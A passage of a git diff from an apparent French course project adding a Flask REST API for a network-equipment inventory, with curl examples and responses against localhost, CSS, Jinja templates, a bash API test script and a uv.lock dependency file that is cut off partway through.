+curl -i http://127.0.0.1:5000/api/equipments + +# Equipement précis +curl -i http://127.0.0.1:5000/api/equipments/1 + +# Equipement inexistant +curl -i http://127.0.0.1:5000/api/equipments/9999 + +# Sortie formatée +curl -s http://127.0.0.1:5000/api/equipments | python -m json.tool + +# Compter les équipements +curl -s http://127.0.0.1:5000/api/equipments | python -c "import json,sys; print(len(json.load(sys.stdin)))" + +# Filtrage par champ +curl -s http://127.0.0.1:5000/api/equipments | jq '.[] | select(.is_active==true) | {id, hostname}' +``` + +### Créer + +``` +# Normal +curl -i -X POST http://127.0.0.1:5000/api/equipments \ + -H "Content-Type: application/json" \ + -d '{"hostname":"curl-test-01","type":"router","ip_address":"10.0.50.1","is_active":true,"latency":12.5}' + +# Mal formaté +curl -i -X POST http://127.0.0.1:5000/api/equipments \ + -H "Content-Type: application/json" \ + -d '{hostname: "sans-guillemets"}' + +# Avec mentions obligatoires manquantes +curl -i -X POST http://127.0.0.1:5000/api/equipments \ + -H "Content-Type: application/json" \ + -d '{"type":"router"}' +``` + +### Patch partiel (actif <-> inactif) + +``` +curl -i -X PATCH http://127.0.0.1:5000/api/equipments/1/toggle +``` + +### Mise à jour + +``` +curl -i -X PUT http://127.0.0.1:5000/api/equipments/1 \ + -H "Content-Type: application/json" \ + -d '{"hostname":"serveur-prod-01","type":"server","ip_address":"10.0.10.1","is_active":true,"latency":8.3}' +``` + +### Supprimer + +``` +# Autorisé +curl -i -X DELETE http://127.0.0.1:5000/api/equipments/1 + +# Interdit +curl -i -X DELETE http://127.0.0.1:5000/api/equipments +``` + +## Réponses + +### Lister + +``` +> curl -i http://127.0.0.1:5000/api/equipments +HTTP/1.1 200 OK +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Wed, 08 Jul 2026 12:58:59 GMT +Content-Type: application/json +Content-Length: 6850 +Connection: close + +[ + { + "hostname": "bird-dawn-peas-031", + "id": 1, + "interfaces": [ + { + "id": 1, + "port": 25, + "service": "SMTP" + }, + { + "id": 2, + "port": 21, + "service": "FTP" + }, + { + "id": 3, + "port": 80, + "service": "HTTP" + }, + { + "id": 4, + "port": 21, + "service": "FTP" + } + ], + "ip_address": "242.48.158.201", + "is_active": true, + "latency": 33.6, + "type": "Router" + }, [...] + +> curl -i http://127.0.0.1:5000/api/equipments/12 +HTTP/1.1 200 OK +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Wed, 08 Jul 2026 13:21:47 GMT +Content-Type: application/json +Content-Length: 314 +Connection: close + +{ + "hostname": "barn-lamps-bottle-151", + "id": 12, + "interfaces": [ + { + "id": 42, + "port": 53, + "service": "DNS" + }, + { + "id": 43, + "port": 139, + "service": "NetBIOS" + } + ], + "ip_address": "76.143.32.122", + "is_active": true, + "latency": 42.1, + "type": "Server" +} + +> curl -i http://127.0.0.1:5000/api/equipments/1267 +HTTP/1.1 404 NOT FOUND +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Wed, 08 Jul 2026 13:22:01 GMT +Content-Type: application/json +Content-Length: 46 +Connection: close + +{ + "error": "\u00c9quipement introuvable." +} + +> curl -s http://127.0.0.1:5000/api/equipments | python -c "import json,sys; print(len(json.load(sys.stdin)))" +15 +``` + +### Créer + +``` +> curl -i -X POST http://127.0.0.1:5000/api/equipments -H "Content-Type: application/json" -d '{"hostname":"curl-test-01","type":"Router","ip_address":"10.0.50.1","is_active":true,"latency":12.5}' +HTTP/1.1 201 CREATED +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Wed, 08 Jul 2026 13:23:15 GMT +Content-Type: application/json +Content-Length: 154 +Connection: close + +{ + "hostname": "curl-test-01", + "id": 16, + "interfaces": [], + "ip_address": "10.0.50.1", + "is_active": true, + "latency": 12.5, + "type": "Router" +} + +> curl -i -X POST http://127.0.0.1:5000/api/equipments -H "Content-Type: application/json" -d '{"hostname":"curl-test-01","type":"router","ip_address":"10.0.50.1","is_active":true,"latency":12.5}' +HTTP/1.1 400 BAD REQUEST +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Wed, 08 Jul 2026 13:23:04 GMT +Content-Type: application/json +Content-Length: 41 +Connection: close + +{ + "error": "Type invalide : router." +} + +> curl -i -X POST http://127.0.0.1:5000/api/equipments -H "Content-Type: application/json" -d '{"type":"Router"}' +HTTP/1.1 400 BAD REQUEST +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Wed, 08 Jul 2026 13:23:58 GMT +Content-Type: application/json +Content-Length: 34 +Connection: close + +{ + "error": "Hostname requis." +} +``` + +### Patch partiel (actif <-> inactif) + +``` +> curl -i -X PATCH http://127.0.0.1:5000/api/equipments/2/toggle +HTTP/1.1 200 OK +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Wed, 08 Jul 2026 13:46:11 GMT +Content-Type: application/json +Content-Length: 387 +Connection: close + +{ + "hostname": "gulf-manage-order-022", + "id": 2, + "interfaces": [ + { + "id": 3, + "port": 21, + "service": "FTP" + }, + { + "id": 4, + "port": 139, + "service": "NetBIOS" + }, + { + "id": 5, + "port": 143, + "service": "IMAP" + } + ], + "ip_address": "183.139.112.112", + "is_active": false, + "latency": 28.1, + "type": "Database" +} +``` + +### Mise à jour + +``` +> curl -i -X PUT http://127.0.0.1:5000/api/equipments/1 -H "Content-Type: application/json" -d '{"hostname":"serveur-prod-01","type":"Server","ip_address":"10.0.10.1","is_active":true,"latency":8.3}' +HTTP/1.1 200 OK +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Wed, 08 Jul 2026 13:49:06 GMT +Content-Type: application/json +Content-Length: 297 +Connection: close + +{ + "hostname": "serveur-prod-01", + "id": 1, + "interfaces": [ + { + "id": 1, + "port": 53, + "service": "DNS" + }, + { + "id": 2, + "port": 3389, + "service": "RDP" + } + ], + "ip_address": "10.0.10.1", + "is_active": true, + "latency": 8.3, + "type": "Server" +} +``` + +### Supprimer + +``` +> curl -i -X DELETE http://127.0.0.1:5000/api/equipments/1 +HTTP/1.1 200 OK +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Wed, 08 Jul 2026 13:49:49 GMT +Content-Type: application/json +Content-Length: 80 +Connection: close + +{ + "message": "\u00c9quipement \u00ab serveur-prod-01 \u00bb supprim\u00e9." +} + +> curl -i -X DELETE http://127.0.0.1:5000/api/equipments +HTTP/1.1 405 METHOD NOT ALLOWED +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Wed, 08 Jul 2026 13:50:04 GMT +Content-Type: text/html; charset=utf-8 +Allow: OPTIONS, POST, HEAD, GET +Content-Length: 153 +Connection: close + + + +405 Method Not Allowed +

Method Not Allowed

+

The method is not allowed for the requested URL.

+``` \ No newline at end of file diff --git a/Semaine_11/Jour_03/static/css/equipments.css b/Semaine_11/Jour_03/static/css/equipments.css new file mode 100644 index 0000000..3d65e9c --- /dev/null +++ b/Semaine_11/Jour_03/static/css/equipments.css @@ -0,0 +1,63 @@ +:root { + --bg: #f5f5f7; + --card: #ffffff; + --border: #d2d2d7; + --accent: #0071e3; + --danger: #ff3b30; + --success: #34c759; +} + +body { font-family: -apple-system, BlinkMacSystemFont, sans-serif; background: var(--bg); margin: 2rem; } +nav { margin-bottom: 1.5rem; } +nav a { color: var(--accent); text-decoration: none; margin-right: 1rem; } + +.flash { padding: .75rem 1rem; border-radius: 6px; margin-bottom: 1rem; } +.flash-success { background: #d1f5d3; color: #0a6b1f; } +.flash-error { background: #ffd5d2; color: #a0190d; } + +form { background: var(--card); padding: 1.5rem; border-radius: 8px; border: 1px solid var(--border); } +form label { display: block; margin-bottom: .75rem; } +form input, form select { padding: .5rem; border: 1px solid var(--border); border-radius: 4px; } + +fieldset { margin-top: 1rem; border: 1px solid var(--border); padding: 1rem; border-radius: 6px; } +.interface-row { display: flex; gap: .5rem; margin-bottom: .5rem; } +.interface-row input { flex: 1; } + +.equipment-grid { list-style: none; padding: 0; display: grid; gap: 1rem; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); } +.equipment { background: var(--card); padding: 1rem; border-radius: 8px; border: 1px solid var(--border); } +.equipment.inactive { opacity: .6; } +.equipment header { display: flex; justify-content: space-between; align-items: center; } +.badge { background: var(--accent); color: white; padding: .2rem .6rem; border-radius: 12px; font-size: .8rem; } +.equipment footer { display: flex; gap: .5rem; margin-top: 1rem; } +.equipment footer form { flex: 1; padding: 0; border: none; background: none; } +.equipment button { width: 100%; padding: .5rem; border: none; border-radius: 4px; cursor: pointer; color: white; } +.btn-toggle { background: var(--accent); } +.btn-delete { background: var(--danger); } +.empty { color: #6e6e73; font-style: italic; } + +.equipments-table { + width: 100%; + border-collapse: collapse; + margin-top: 1rem; +} +.equipments-table th, +.equipments-table td { + border: 1px solid #ddd; + padding: 0.5rem 0.75rem; + text-align: left; + vertical-align: top; +} +.equipments-table thead { + background: #f4f4f4; +} +.equipments-table .row-inactive { + opacity: 0.6; + background: #fafafa; +} +.status { + font-weight: 600; +} +.status-active { color: #1a7f37; } +.status-inactive { color: #b42318; } +.actions form { display: inline-block; margin-right: 0.25rem; } +.interfaces-list { margin: 0; padding-left: 1rem; } diff --git a/Semaine_11/Jour_03/templates/base.html b/Semaine_11/Jour_03/templates/base.html new file mode 100644 index 0000000..d7d167e --- /dev/null +++ b/Semaine_11/Jour_03/templates/base.html @@ -0,0 +1,21 @@ + + + + + {% block title %}Gestion du parc{% endblock %} + + + + +
+ {% with messages = get_flashed_messages(with_categories=true) %} + {% if messages %} + {% for category, message in messages %} + + {% endfor %} + {% endif %} + {% endwith %} + {% block content %}{% endblock %} +
+ + diff --git a/Semaine_11/Jour_03/templates/equipments.html b/Semaine_11/Jour_03/templates/equipments.html new file mode 100644 index 0000000..23c930c --- /dev/null +++ b/Semaine_11/Jour_03/templates/equipments.html @@ -0,0 +1,98 @@ +{% extends "base.html" %} +{% block title %}Équipements{% endblock %} +{% block content %} +

Inventaire des équipements

+ +
+

Ajouter un équipement

+
+ + + + + + +
+ Interfaces +
+ + +
+
+ + +
+
+ + +
+
+ +
+

Équipements enregistrés ({{ equipments|length }})

+ {% if equipments %} + + + + + + + + + + + + + + + {% for eq in equipments %} + + + + + + + + + + + {% endfor %} + +
IDHostnameTypeAdresse IPLatenceÉtatInterfacesActions
{{ eq.id }}{{ eq.hostname }}{{ eq.type }}{{ eq.ip_address }}{{ eq.latency if eq.latency is not none else '-' }} ms + {% if eq.is_active %} + Actif + {% else %} + Inactif + {% endif %} + + {% if eq.interfaces %} +
    + {% for i in eq.interfaces %} +
  • {{ i.service }} : {{ i.port }}/tcp
  • + {% endfor %} +
+ {% else %} + - + {% endif %} +
+
+ +
+
+ +
+
+ {% else %} +

Aucun équipement enregistré.

+ {% endif %} +
+{% endblock %} diff --git a/Semaine_11/Jour_03/templates/index.html b/Semaine_11/Jour_03/templates/index.html new file mode 100644 index 0000000..6e3c0cd --- /dev/null +++ b/Semaine_11/Jour_03/templates/index.html @@ -0,0 +1,6 @@ +{% extends "base.html" %} +{% block title %}Accueil{% endblock %} +{% block content %} +

Bienvenue

+

Accéder à l'inventaire

+{% endblock %} diff --git a/Semaine_11/Jour_03/test_api.sh b/Semaine_11/Jour_03/test_api.sh new file mode 100644 index 0000000..2e4931d --- /dev/null +++ b/Semaine_11/Jour_03/test_api.sh @@ -0,0 +1,23 @@ +#!/usr/bin/env bash + +set -e +BASE="http://127.0.0.1:5000/api/equipments" + +echo "=== GET liste ===" +curl -sf "$BASE" | python -m json.tool + +echo "=== POST création ===" +NEW=$(curl -sf -X POST "$BASE" \ + -H "Content-Type: application/json" \ + -d '{"hostname":"bash-test","type":"switch","ip_address":"10.0.60.1","is_active":true}') +echo "$NEW" | python -m json.tool +ID=$(echo "$NEW" | python -c "import json,sys; print(json.load(sys.stdin)['id'])") + +echo "=== GET #$ID ===" +curl -sf "$BASE/$ID" | python -m json.tool + +echo "=== PATCH toggle #$ID ===" +curl -sf -X PATCH "$BASE/$ID/toggle" | python -m json.tool + +echo "=== DELETE #$ID ===" +curl -sf -X DELETE "$BASE/$ID" -w "HTTP %{http_code}\n" diff --git a/Semaine_11/Jour_03/uv.lock b/Semaine_11/Jour_03/uv.lock new file mode 100644 index 0000000..4525147 --- /dev/null +++ b/Semaine_11/Jour_03/uv.lock @@ -0,0 +1,304 @@ +version = 1 +revision = 3 +requires-python = ">=3.14" + +[[package]] +name = "3-4-api-rest" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "dotenv" }, + { name = "flask" }, + { name = "requests" }, + { name = "sqlalchemy" }, +] + +[package.metadata] +requires-dist = [ + { name = "dotenv", specifier = ">=0.9.9" }, + { name = "flask", specifier = ">=3.1.3" }, + { name = "requests", specifier = ">=2.34.2" }, + { name = "sqlalchemy", specifier = ">=2.0.51" }, +] + +[[package]] +name = "blinker" +version = "1.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/21/28/9b3f50ce0e048515135495f198351908d99540d69bfdc8c1d15b73dc55ce/blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf", size = 22460, upload-time = "2024-11-08T17:25:47.436Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc", size = 8458, upload-time = "2024-11-08T17:25:46.184Z" }, +] + +[[package]] +name = "certifi" +version = "2026.6.17" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c9/c7/424b75da314c1045981bd9777432fad05a9e0c69daa4ed7e308bbaffe405/certifi-2026.6.17.tar.gz", hash = "sha256:024c88eeec92ca068db80f02b8b07c9cef7b9fe261d1d535abfd5abd6f6af432", size = 134594, upload-time = "2026-06-17T10:31:07.894Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ef/2f/c5464532e965badff2f4c4c1a3a83f5697f0d7c407ed0cda44aaa99bb451/certifi-2026.6.17-py3-none-any.whl", hash = "sha256:2227dcbaafe0d2f59279d1762ddddc37783ed4354594f194ffc31d20f41fc3db", size = 133289, upload-time = "2026-06-17T10:31:06.348Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.9" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bd/2a/23f34ec9d04624958e137efdc394888716353190e75f25dd22c7a2c7a8aa/charset_normalizer-3.4.9.tar.gz", hash = "sha256:673611bbd43f0810bec0b0f028ddeaaa501190339cac411f347ac76917c3ae7b", size = 152439, upload-time = "2026-07-07T14:34:58.454Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/8d/496817fa0944239ecae662dd57ea765cfeaec6a735f9f025d4b7b72e7143/charset_normalizer-3.4.9-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:0327fcd59a935777d83410750c50600ee9571af2846f71ce40f25b13da1ef380", size = 317253, upload-time = "2026-07-07T14:33:54.994Z" }, + { url = "https://files.pythonhosted.org/packages/2b/f9/ef4a69ea338ad3c0deceea0f5f7d2380ae8b52132b06d652cb0d2cd86706/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a79d9f4d8001473a30c163556b3c3bfebec837495a412dde78b51672f6134f9", size = 215898, upload-time = "2026-07-07T14:33:56.334Z" }, + { url = "https://files.pythonhosted.org/packages/8c/e7/5ddfd76fc061eb52de219658a4aa431cbacadf0a0219c8854f00da50d289/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:33bdcc2a32c0a0e861f60841a512c8acc658c87c2ac59d89e3a46dacf7d866e4", size = 236718, upload-time = "2026-07-07T14:33:57.9Z" }, + { url = "https://files.pythonhosted.org/packages/49/ba/768fa3f36048d81c477a0ce61f813bc1454d80917ccfe550abd9f44f5e24/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f840ed6d8ecba8255df8c42b87fadeda98ddfc6eeec05e2dc66e26d46dd6f58a", size = 232519, upload-time = "2026-07-07T14:33:59.811Z" }, + { url = "https://files.pythonhosted.org/packages/f4/c4/b3e049d2aa3766180c78507110543d9d50894cc97f57de543f1be521dcdc/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c25fe15c70c59eb7c5ce8c06a1f3fa1da0ecc5ea1e7a5922c40fd2fa9b0d5046", size = 223143, upload-time = "2026-07-07T14:34:01.517Z" }, + { url = "https://files.pythonhosted.org/packages/19/79/55c32d06d76ae4feafe053f061f3e3ab70bcf19f4007797ce8c3efda7830/charset_normalizer-3.4.9-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:f7fb7d750cfa0a070d2c24e831fd3481019a60dd317ea2b39acbcebc08b6ed81", size = 206742, upload-time = "2026-07-07T14:34:03.04Z" }, + { url = "https://files.pythonhosted.org/packages/10/e0/47c079dd82d217c807479cd59ffd30af56307ea31c108b75758970459ad3/charset_normalizer-3.4.9-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4d1c96a7a18b9690a4d46df09e3e3382406ae3213727cd1019ebade1c4a81917", size = 219191, upload-time = "2026-07-07T14:34:04.657Z" }, + { url = "https://files.pythonhosted.org/packages/42/ab/b9bc2e77d6b44a7e46ef62ec5cac1c9a6ba7b9135a5d560f002696ec9995/charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a4cfde78a9f2880208d16a93b795726a3017d5977e08d1e162a7a31322479c41", size = 218328, upload-time = "2026-07-07T14:34:06.115Z" }, + { url = "https://files.pythonhosted.org/packages/f1/78/c9c71d599f5aa2d42bcdd35cbbd46d7f535351a57e40ff7d8e5a7e219401/charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:d4d6fcde76f94f5cb9e43e9e9a61f16dacefd228cbbf6f1a09bd9b219a92f1a1", size = 207406, upload-time = "2026-07-07T14:34:07.554Z" }, + { url = "https://files.pythonhosted.org/packages/f6/39/c914445c321a845097ce4f6ac7de9a18228a77b766272125a1ce00d851eb/charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:898f0e9068ca27d37f8e83a5b962821df851532e6c4a7d615c1c033f9da6eedf", size = 225157, upload-time = "2026-07-07T14:34:09.061Z" }, + { url = "https://files.pythonhosted.org/packages/9b/f2/c0d4b8508565a36bc5c624e88ed297f5b0b1095011034d7f5b83a69908b5/charset_normalizer-3.4.9-cp314-cp314-win32.whl", hash = "sha256:c1c948747b03be832dceed96ca815cef7360de9aa19d37c730f8e3f6101aca48", size = 151095, upload-time = "2026-07-07T14:34:10.901Z" }, + { url = "https://files.pythonhosted.org/packages/49/fd/a1d26144398c67486422a72bf5812cda22cb4ccfcd95a290fb41ceb4b8e2/charset_normalizer-3.4.9-cp314-cp314-win_amd64.whl", hash = "sha256:16b65ea0f2465b6fb52aa22de5eca612aa964ddfec00a912e26f4656cbef890b", size = 162796, upload-time = "2026-07-07T14:34:12.47Z" }, + { url = "https://files.pythonhosted.org/packages/20/95/d75e82f8ce9fd323ebf059c16c9aadefb22a1ecde13b7840b35835e4886c/charset_normalizer-3.4.9-cp314-cp314-win_arm64.whl", hash = "sha256:40a126142a56b2dfc0aacbad1de8310cbf60da7656db0e6b16eebd48e3e93519", size = 153334, upload-time = "2026-07-07T14:34:14.044Z" }, + { url = "https://files.pythonhosted.org/packages/00/5e/17398df3a139985ba9d11ed072531986f408c8fca952835ef1ab1820c02b/charset_normalizer-3.4.9-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:609b3ba8fcc0fb5ab7af00719d0fb6ad0cb518e48e7712d12fd68f1327951198", size = 338848, upload-time = "2026-07-07T14:34:15.688Z" }, + { url = "https://files.pythonhosted.org/packages/cd/91/7253a32e86b7e1d1239b1b36ba6dd0f021a21107ab33054b53119cc083b9/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51447e9aa2684679af07ca5021c3db526e0284347ebf4ffcec1154c3350cfe32", size = 223022, upload-time = "2026-07-07T14:34:17.248Z" }, + { url = "https://files.pythonhosted.org/packages/cb/32/2e64bd2be10e89c61e57ebe6a93fd98ae88eb7ebe414b5121f22c96c69eb/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cc1b0fff8ead343dae06305f954eb8468ba0ec1a97881f42489d198e4ce3c632", size = 241590, upload-time = "2026-07-07T14:34:18.813Z" }, + { url = "https://files.pythonhosted.org/packages/3d/ef/d96ec496cfea0c21db43b0ad03891308b02388d054cc902cf0e5a1ad6a88/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fa36ec09ef71d158186bc79e359ff5fdd6e7996fe8ab638f00d6b93139ba4fcf", size = 239584, upload-time = "2026-07-07T14:34:20.52Z" }, + { url = "https://files.pythonhosted.org/packages/d4/ce/9af95f7876194bd7a14e3dfe4a4de2e0bff02666a3910d72beafd06cc297/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:df115d4d83168fdf2cae48ef1ff6d1cb4c466364e30861b37121de0f3bf1b990", size = 230224, upload-time = "2026-07-07T14:34:22.189Z" }, + { url = "https://files.pythonhosted.org/packages/52/94/af74dde74a3996bd959c350709bfe50e297823d70a8c1cbd54b838880863/charset_normalizer-3.4.9-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f86c6358749bd4fda175388691e3ba8c46e24c5347d0afd20f9b7edfc9faf07d", size = 212667, upload-time = "2026-07-07T14:34:23.857Z" }, + { url = "https://files.pythonhosted.org/packages/ee/f0/f1c4fe746c395922961b5916ed1d7d6e7d4c84851d19ed43cc89980ec953/charset_normalizer-3.4.9-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:32286a2c8d167e897177b673176c1e3e00d4057caf5d2b64eef9a3666b03018e", size = 227179, upload-time = "2026-07-07T14:34:25.586Z" }, + { url = "https://files.pythonhosted.org/packages/e4/56/6c745619ac397e8871e2bcd3cea1eec86b877488f33888b3aef5c3ed506e/charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:83aed2c10721ddd90f68140685391b50811a880af20654c59af6b6c66c40513c", size = 225372, upload-time = "2026-07-07T14:34:27.212Z" }, + { url = "https://files.pythonhosted.org/packages/78/ad/98aae8630ac71f16711968e38a5acfecce41b778bf2f0312851020f565a8/charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cd6c3d4b783c556fa00bf540854e42f135e2f256abd29669fcd0da0f2dec79c2", size = 215222, upload-time = "2026-07-07T14:34:28.774Z" }, + { url = "https://files.pythonhosted.org/packages/f7/40/9593d54209765207a7f11073c06494c1721e4ca4a0a426c597679bf7f91e/charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ee2f2a527e3c1a6e6411eb4209642e138b544a2d72fe5d0d76daf77b24063534", size = 231958, upload-time = "2026-07-07T14:34:30.345Z" }, + { url = "https://files.pythonhosted.org/packages/b1/27/693ee5e8a18191eb38647360c51cd505013e2bd3b366aa43fd5344c21e3c/charset_normalizer-3.4.9-cp314-cp314t-win32.whl", hash = "sha256:0d861473f743244d349b50f850d10eb87aeb22bbdcc8e64f79273c94af5a8226", size = 155580, upload-time = "2026-07-07T14:34:31.884Z" }, + { url = "https://files.pythonhosted.org/packages/80/3f/bd97d3d9c613013d07cb7733d299385b41df37f0471310f5a73dc359f0b8/charset_normalizer-3.4.9-cp314-cp314t-win_amd64.whl", hash = "sha256:9b8e0f3107e2200b76f6054de99016eac3ee6762713587b36baaa7e4bd2ae177", size = 167620, upload-time = "2026-07-07T14:34:33.438Z" }, + { url = "https://files.pythonhosted.org/packages/3d/c6/eee9dca4439b1061f76373f06ea855678cc4a64c1c3c90b50e479edbb8eb/charset_normalizer-3.4.9-cp314-cp314t-win_arm64.whl", hash = "sha256:19ac87f93086ce37b86e098888555c4b4bc48102279bae3350098c0ed664b501", size = 158037, upload-time = "2026-07-07T14:34:35.018Z" }, + { url = "https://files.pythonhosted.org/packages/98/2b/f97f1c193fb855c345d678f5077d6926034db0722df74c8f057020e05a25/charset_normalizer-3.4.9-py3-none-any.whl", hash = "sha256:68e5f26a1ad57ded6d1cfb85331d1c1a195314756471d97758c48498bb4dcdf5", size = 64538, upload-time = "2026-07-07T14:34:56.993Z" }, +] + +[[package]] +name = "click" +version = "8.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/76/d4/81420972a676e8ffea40450d8c8c92943e7218a78fe9b64359836cc9876b/click-8.4.2.tar.gz", hash = "sha256:9a6cea6e60b17ebe0a44c5cc636d94f09bd66142c1cd7d8b4cd731c4917a15f6", size = 338000, upload-time = "2026-06-24T17:45:15.148Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/e2/79c688af8b210d232694e31e59da9f6ec747bae31c3f5946e4e9b98860d5/click-8.4.2-py3-none-any.whl", hash = "sha256:e6f9f66136c816745b9d65817da91d61d957fb16e02e4dcd0552553c5a197b76", size = 119243, upload-time = "2026-06-24T17:45:13.73Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "dotenv" +version = "0.9.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "python-dotenv" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/b2/b7/545d2c10c1fc15e48653c91efde329a790f2eecfbbf2bd16003b5db2bab0/dotenv-0.9.9-py2.py3-none-any.whl", hash = "sha256:29cf74a087b31dafdb5a446b6d7e11cbce8ed2741540e2339c69fbef92c94ce9", size = 1892, upload-time = "2025-02-19T22:15:01.647Z" }, +] + +[[package]] +name = "flask" +version = "3.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "blinker" }, + { name = "click" }, + { name = "itsdangerous" }, + { name = "jinja2" }, + { name = "markupsafe" }, + { name = "werkzeug" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/26/00/35d85dcce6c57fdc871f3867d465d780f302a175ea360f62533f12b27e2b/flask-3.1.3.tar.gz", hash = "sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb", size = 759004, upload-time = "2026-02-19T05:00:57.678Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl", hash = "sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c", size = 103424, upload-time = "2026-02-19T05:00:56.027Z" }, +] + +[[package]] +name = "greenlet" +version = "3.5.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e2/f1/fbbfef6af0bad0548f09bc28948ea3c275b4edb19e17fc5ca9900a6a634d/greenlet-3.5.3.tar.gz", hash = "sha256:a61efc018fd3eb317eeca31aba90ee9e7f26f22884a79b6c6ec715bf71bb62f1", size = 200270, upload-time = "2026-06-26T19:28:24.832Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c3/93/43e116ee114b28737ba7e12952a0d4e2f55944d0f84e42bc91ba7192a3c9/greenlet-3.5.3-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:fd2e02fa07485778536a036222d616ab957b1d533f36b3ed98ce725d9c9d3117", size = 288202, upload-time = "2026-06-26T18:23:49.604Z" }, + { url = "https://files.pythonhosted.org/packages/82/2f/146d218299046a43d1f029fd544b3d110d0f175a09c715c7e8da4a4a345d/greenlet-3.5.3-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df0a0628d1597eb0897b62f55d1343f772405fd25f3b2a796c76874b0c2e22e8", size = 654096, upload-time = "2026-06-26T19:07:12.71Z" }, + { url = "https://files.pythonhosted.org/packages/a0/cc/04738cafb3f45fa991ea44f9de94c47dcec964f5a972300988a6751f49d9/greenlet-3.5.3-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ebd933a6adabc298bab47731a130fe6bfb888bd934eee37810f151159544540d", size = 666304, upload-time = 